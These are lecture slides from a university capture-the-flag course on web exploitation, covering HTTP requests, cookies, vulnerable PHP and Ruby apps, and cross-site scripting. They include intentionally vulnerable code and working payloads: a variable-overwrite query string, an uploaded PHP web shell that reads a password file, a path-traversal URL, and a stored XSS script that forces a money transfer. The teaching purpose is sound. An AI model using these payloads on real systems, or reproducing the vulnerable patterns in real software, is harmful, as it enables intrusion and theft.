98-212

Web

Administrivia

- Everyone on Piazza?
  - Good.
- Keep solving problems.
  - Ask on piazza.
  - We can maybe hold office hours.
- Ghost in the Shellcode
  - Get to see what a real CTF is like.
  - Feb 15th - Feb 17th
  - http://ghostintheshellcode.com/
- What's after stego, forensics, and networking?

The best transport protocol.

- What's on top of TCP/UDP?
- Lots of different services out there
  - Telnet, SSH, FTP, Synchrophasor
  - HTTP
- Most of the "web" sits on top of HTTP.
  - Stateless
  - Browser is client, web server is server.

URLs & Requests

- URLs:
  - http://www.google.com
  - Query Strings:
    - http://blah.com/thing.php?secure=0&hack=1
    - Need + or %20 for spaces.
- GET
  - I want stuff from you, server.
- POST
  - I have stuff for you, server.
- HEAD, PUT, DELETE
- WebDAV!?

Headers

- Each request and response also contains headers that affect the transaction.
- Within a CTF, usually contrived requirements that we need to guess.
  - User-Agent
  - X-Forwarded-For
- Can do whatever you.
  - X-Chrome-Variations

Easily making requests

- Most web CTF problems are POST'ing the right data to a server, or using the correct query string.
- Making HTTP requests easily and quickly is important
- Lots of tools for this
  - curl --data "param1=value1&param2=value2" http://example.com/resource.cgi
  - curl --form "fileupload=@filename.txt" http://example.com/resource.cgi
  - curl --header "X-MyHeader: 123" www.google.com
  - python requests: requests.post(url, data=dict_of_payload)

Tamper Data

- Tool to modify data before it gets sent to server from within your browser.
  - Demo if nvidia drivers stop being hella lame.

Cookies

- HTTP is stateless.
  - But remembering what users have done or who they are is useful from an application standpoint.
- Solution: Give the user some data to store.
- Use cryptographic primitives to protect against malicious users.
  - Hashing and MACs

Cookies

- Cryptography is hard.
- A lot of people have exposed vulnerabilities through cookies.
- If you screw this up, you suddenly have a piece of data which you treat as trusted, but is user modifiable.
- You can't trust users.

Web Applications

- It's hard to hack a static site, unless it's just traversing directories.
  - http://google.com/../../../../../root/secret
- There are applications sitting behind web servers.
  - PHP: http://phpsadness.com/
  - Python or Ruby
  - Perl: Why would anyone do this?
  - Haskell, Javascript, etc.
- All exposed through some Common Gateway Interface.

Web Applications

- There are applications running full fledged programming languages sitting behind web servers and responding to user requests and input.
- This sounds like a bad time.
- We all love reddit (common lisp, but now python), but hate getting owned.
- Anticipate malicious input and be smart, or anticipate crappy web app programmers and profit.

Some examples

```php
<?php
$filename = 'secret-combination.txt';
extract($_GET);
if (isset($attempt)) {
  $combination = trim(file_get_contents($filename));
  if ($attempt === $combination) {
    echo "<p>How did you know the secret combination was" .
        " $combination!?</p>";
    $next = file_get_contents('level02-password.txt');
    echo "<p>You've earned the password to the access Level 2:" .
        " $next</p>";
  } else {
    echo "<p>Incorrect! The secret combination is not $attempt</p>";
  }
}
?>
```

Some examples

- Oh hey, extract() by DEFAULT overwrites symbols already in the symbol table.
- /?attempt=&filename=dasfjksfda.txt
- $attempt == contents($filename)
  - Yay!

Some examples

```php
<?php
 session_start();

 if ($_FILES["dispic"]["error"] > 0) {
  echo "<p>Error: " . $_FILES["dispic"]["error"] . "</p>";
 }
 else
 {
  $dest_dir = "uploads/";
  $dest = $dest_dir . basename($_FILES["dispic"]["name"]);
  $src = $_FILES["dispic"]["tmp_name"];
  if (move_uploaded_file($src, $dest)) {
   $_SESSION["dispic_url"] = $dest;
   chmod($dest, 0644);
   echo "<p>Successfully uploaded your display picture.</p>";
  }
 }
```

Some examples

- Here's my picture.

```
<?php
    $output =    shell_exec('cat../password.
txt');
echo "<pre>$output</pre>";
?>
```

We forgot something

- Web browsers don't just serve HTML, CSS, and media.
- There's a scripting language in all modern web browsers.
  - Plus Links, but not Lynx.
- Javascript is mostly used for dynamically changing web pages as the user interacts.
  - JQuery.

JavaScript

- Data is received and sent through AJAX.
- Provides another layer between users and server code, which may help.
- However, javascript also creates some problems.
- We now have code running in the browser.
- All javascript is run through an interpreter in your browser.

JavaScript

- People sometimes put sensitive information into their web browsers.
- We have code in the browser.
- We can probably steal all the sensitive data.
  - Or at least some

Cross Site Scripting

- Usually called XSS
- Inject code into a page containing sensitive info.
- Code then sends sensitive info to attacker's server.
- Code can be injected in a variety of ways.
- Gist is stick "<SCRIPT>...</SCRIPT>" into input fields.

Cross Site Scripting

- In the context of a CTF.
  - We have a messaging service.
  - We are told Bob reads his messages every 5 minutes.
  - We notice we can get Bob to execute javascript we send in a message.
  - We make Bob do something we want.
    - Give us money.
    - Send us his cookies.
    - Write a kindhearted message back.

More examples.

```
post '/register' do
    username = params[:username]
    password = params[:password]
    unless username && password
      die("Please specify both a username and a password.", :register)
    end

    unless username =~ /^\w+$/
      die("Invalid username. Usernames must match /^\w+$/", :register)
    end

    unless DB.conn[:users].where(:username => username).count == 0
      die("This username is already registered. Try another one.",
          :register)
    end
      .....
```

More examples.

- Notice, username is checked to be alphanumeric + :space:, but nothing done on password.
- password = "<script type='text/javascript'>$. ajax({ url: document.location +'transfer', type: 'POST', data: { to: 'PPP', amount: '100' }}); </script>"

More examples

- webhacking.kr
- net-force.nl (reg is closed)